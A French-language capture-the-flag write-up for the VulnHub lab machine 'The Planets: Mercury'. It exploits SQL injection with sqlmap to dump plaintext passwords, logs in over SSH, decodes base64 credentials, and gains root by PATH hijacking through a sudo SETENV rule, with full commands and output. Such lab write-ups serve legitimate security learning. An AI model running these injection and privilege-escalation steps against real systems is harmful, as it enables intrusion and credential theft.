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WriteupInformations sur la box :
- Difficulté : Facile
- Description : BMercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com
- Type de fichier : .ova (VirtualBox)
- DHCP : Activé
- Lien : https://www.vulnhub.com/entry/the-planets-mercury,544/
Ce que nous allons aborder dans ce writeup :
Énumération
On trouve l’adresse IP de la box à attaquer à l’aide de nmap
:
nmap -sP 192.168.1.0/24
On obtient son adresse IP qui est la suivante : 192.168.1.29
On scanne ensuite les ports pour trouver ceux qui sont ouverts avec les services qui tournent dessus :
nmap -sV -p- 192.168.1.29 -O -A --min-rate 5000 -T5
- -sV : Permet de scanner les services et d’indiquer les versions et les informations correspondantes
- -p- : On scan TOUS les ports
- -O : Détection de l’OS
- -A : Mode aggressif
- –min-rate 5000 : Définit le nombre d’envoi de paquets par secondes
- -T5 : Définit le template comme “rapide”
Pour plus d’informations vous pouvez consulter le man
de nmap.
Voici ce qu’on obtient :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy WSGIServer/0.2 CPython/3.8.2
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: WSGIServer/0.2 CPython/3.8.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Normalement nmap
nous sort beaucoup plus d’informations concernant le service web qui tourne sur le port 8080 mais ces informations nous sont inutiles.
Comme à mon habitude je commence par essayer de me connecter au SSH pour voir si jamais une bannière est présente :
ssh root@192.168.1.29
Aucune bannière n’est présente.
Grâce au scan nmap
on a l’information qu’il y a un fichier robots.txt avec le répertoire racine (/
) “disallowed”.
On peut quand même lancer ffuf pour faire du fuzzing web et trouver de potentiels nouveaux éléments :
ffuf -u http://192.168.1.29/FUZZ -w /usr/share/dirb/wordlists/directory-list-2.3-big.txt -e .html,.php,.txt
Malheureusement nous n’avons pas plus de résultat qu’avec le scan nmap
:
robots.txt [Status: 200, Size: 26, Words: 4, Lines: 2]
J’ai tenté de regarder si des exploits étaient disponibles pour cette version de serveur -> WSGIServer/0.2 et CPython/3.8.2 mais rien de bien concluant.
Pendant mes tests j’ai remarqué que le fait de vouloir accéder à un répertoire ou fichier qui n’existe pas sur le serveur web nous renvoie cette erreur :
Page not found (404)
Request Method: GET
Request URL: http://192.168.1.29:8080/test
Using the URLconf defined in mercury_proj.urls, Django tried these URL patterns, in this order:
1. [name='index']
2. robots.txt [name='robots']
3. mercuryfacts/
The current path, test, didn't match any of these.
You're seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard 404 page.
Ceci nous donne pas mal d’informations.
Tout d’abord le fait que le mode DEBUG soit activé et donc qu’on nous montre beaucoup plus d’informations que s’il était désactivé.
On nous propose aussi d’utiliser des patterns d’URL. Et là on voit qu’on a quelque chose qui semble ressembler à un répertoire du nom de mercuryfacts.
Allons y faire un tour !
On se retrouve bien sur une nouvelle page avec deux liens à l’intérieur.
On va commencer par celui qui nous redirige vers http://192.168.1.29:8080/mercuryfacts/todo. Il s’agit d’une todo liste qui est la suivante :
Still todo:
Add CSS.
Implement authentication (using users table)
Use models in django instead of direct mysql call
All the other stuff, so much!!!
On y apprend que la base de données qui tourne derrière est une MySQL ainsi qu’il existe une table nommée users.
L’autre lien redirige vers http://192.168.1.29:8080/mercuryfacts/1/ et semble être des faits relatifs à la planète Mercure (d’où le nom de la box si vous n’aviez pas encore compris :p).
Le contenu de la page est le suivant :
Fact id: 1. (('Mercury does not have any moons or rings.',),)
On peut voir qu’un ID est utilisé. On peut s’amuser à changer celui-ci pour voir s’il y a des changements : http://192.168.1.29:8080/mercuryfacts/2/
On se retrouve avec le contenu de la page qui a changé :
Fact id: 2. (('Mercury is the smallest planet.',),)
A cet instant on est presque sûr qu’il y a un paramètre caché dans l’URL qui correspond à l’ID du “fact” à afficher et qui permet de faire l’appel nécessaire à la base de données pour afficher l’information demandée.
Pour en être sûr il suffit de tester si effectivement le paramètre “caché” est vulnérable à une injection SQL. Pour ce faire il suffit de mettre une apostrophe à l’endroit où on doit mettre l’identifiant. Par exemple http://192.168.1.29:8080/mercuryfacts/’/ :
ProgrammingError at /mercuryfacts/'/
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1")
Ce n’est qu’une petite partie de l’erreur qui est affichée mais celà nous suffit pour confirmer l’existence d’une faille SQL.
Sachant ça on peut s’amuser avec sqlmap
pour récupérer les informations qui nous intéressent.
Shell basique
sqlmap -u http://192.168.1.29:8080/mercuryfacts/1 --dbs
On spécifie l’URL vulnérable avec l’option -u.
--dbs permet de lister les bases de données présentes, ce qui donne :
[*] information_schema
[*] mercury
Ici c’est mercury que l’on souhaite utiliser. Pour spécifier la base ce sera avec l’option -D puis le nom de la base.
On va refaire l’opération successivement avec les options --tables puis --columns pour lister les tables et colonnes disponibles.
La sélection de la table se fait en rajoutant l’option -T à la suite de la commande suivie du nom de la table :
sqlmap -u http://192.168.1.29:8080/mercuryfacts/1 -D mercury --tables
+-------+
| facts |
| users |
+-------+
sqlmap -u http://192.168.1.29:8080/mercuryfacts/1 -D mercury -T users --columns
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
On ne pourrait dump qu’une certaine colonne mais dans notre cas on désire obtenir les noms d’utilisateurs et les mots de passe donc on va directement tout récupérer :
sqlmap -u http://192.168.1.29:8080/mercuryfacts/1 -D mercury -T users --dump
+----+-----------+-------------------------------+
| id | username | password |
+----+-----------+-------------------------------+
| 1 | john | johnny1987 |
| 2 | laura | lovemykids111 |
| 3 | sam | lovemybeer111 |
| 4 | webmaster | mercuryisthesizeof0.056Earths |
+----+-----------+-------------------------------+
On se retrouve avec une liste d’utilisateurs et de mot de passe. Il ne nous reste plus qu’à les essayer sur le SSH.
Et le vainqueur est webmaster avec le mot de passe mercuryisthesizeof0.056Earths qui arrive à se connecter.
On peut récupérer le premier flag dans le répertoire de l’utilisateur :
cat /home/webmaster/user_flag.txt
[user_flag_8339915c9a454657bd60ee58776f4ccd]
On fait un tour dans le fichier /etc/passwd
pour voir quels utilisateurs sont présents sur la machine :
mercury:x:1000:1000:mercury:/home/mercury:/bin/bash
webmaster:x:1001:1001:,,,:/home/webmaster:/bin/bash
linuxmaster:x:1002:1002:,,,:/home/linuxmaster:/bin/bash
Privilege escalation linuxmaster
On se promène un peu dans le répertoire de l’utilisateur actuel (webmaster
) et on tombe sur quelque chose d’intéressant :
cat /home/webmaster/mercury_proj/notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
On voit déjà à première vue qu’il s’agit de base64. On peut donc le décoder directement avec cette commande :
echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d
Et on récupère ce mot de passe : mercurymeandiameteris4880km
On peut en faire de même pour l’autre mot de passe mais on retombe sur celui que l’on connait déjà (mercuryisthesizeof0.056Earths
).
On se connecte à l’utilisateur linuxmaster avec notre nouveau mot de passe :
su linuxmaster
Privilege escalation root
Un sudo -l
nous donne des indications sur ce qu’il faut faire ensuite :
(root : root) SETENV: /usr/bin/check_syslog.sh
On voit qu’on peut exécuter le script /usr/bin/check_syslog.sh
en tant que root.
On affiche le contenu du script :
#!/bin/bash
tail -n 10 /var/log/syslog
La première chose qui nous saute aux yeux est l’utilisation de la commande tail sans spécifier son chemin absolu ! Grave faille de sécurité puisqu’on peut faire exécuter un autre fichier qui porte le même nom à la place de celui qui doit être appelé initialement.
On tente alors de se rendre dans le répertoire /tmp
, on crée un fichier que l’on nomme tail et on y insère du code bash pour exécuter /bin/bash
en tant que root. On change alors notre variable PATH pou que ce soit notre fichier tail qui se situe dans /tmp
qui soit appelé à la place de celui dans /usr/bin/
:
cd /tmp && echo -e "#!/bin/bash\n/bin/bash" > tail && chmod +x tail
PATH=/tmp:$PATH
Si maintenant on lance la commande en tant que root :
sudo /usr/bin/check_syslog.sh
Rien ne se passe …
Pourquoi ? Eh bien parce que l’utilisateur root possède ses propres variables d’environnement. Et donc notre PATH que nous venons de modifier n’est pas le même que celui de root.
Revenons au contenu du fichier sudoers
.
Pour ma part je n’étais encore jamais tombé sur le mot clé SETENV dans ce fichier. J’ai donc fait quelques recherches et grâce à ces deux sites j’ai pu comprendre son utilité :
Pour vous résumer :
L’utilisateur qui possède l’option SETENV peut préserver ses variables d’environnement lorsqu’il exécute la commande spécifiée en tant qu’un autre utilisateur.
C’est exactement ce qu’il nous faut ! Si on réussi à garder notre variable PATH et que l’utilisateur root l’utilise alors il exécutera notre script !
Il suffit d’utiliser l’option --preserve-env ainsi que la variable à préserver et le tour est joué :
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
Et on devient root !
On aurait pu également directement affecter la nouvelle valeur à notre variable d’environnement directement depuis la commande :
sudo PATH=/tmp:$PATH /usr/bin/check_syslog.sh
Il ne nous reste plus qu’à récupérer le flag root :
cat /root/root_flag.txt
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Congratulations on completing Mercury!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_69426d9fda579afbffd9c2d47ca31d90]
Dans cette box j’ai appris l’existence de l’option SETENV dans le fichier sudoers
ainsi que comment l’exploiter.
Un grand merci à son créateur !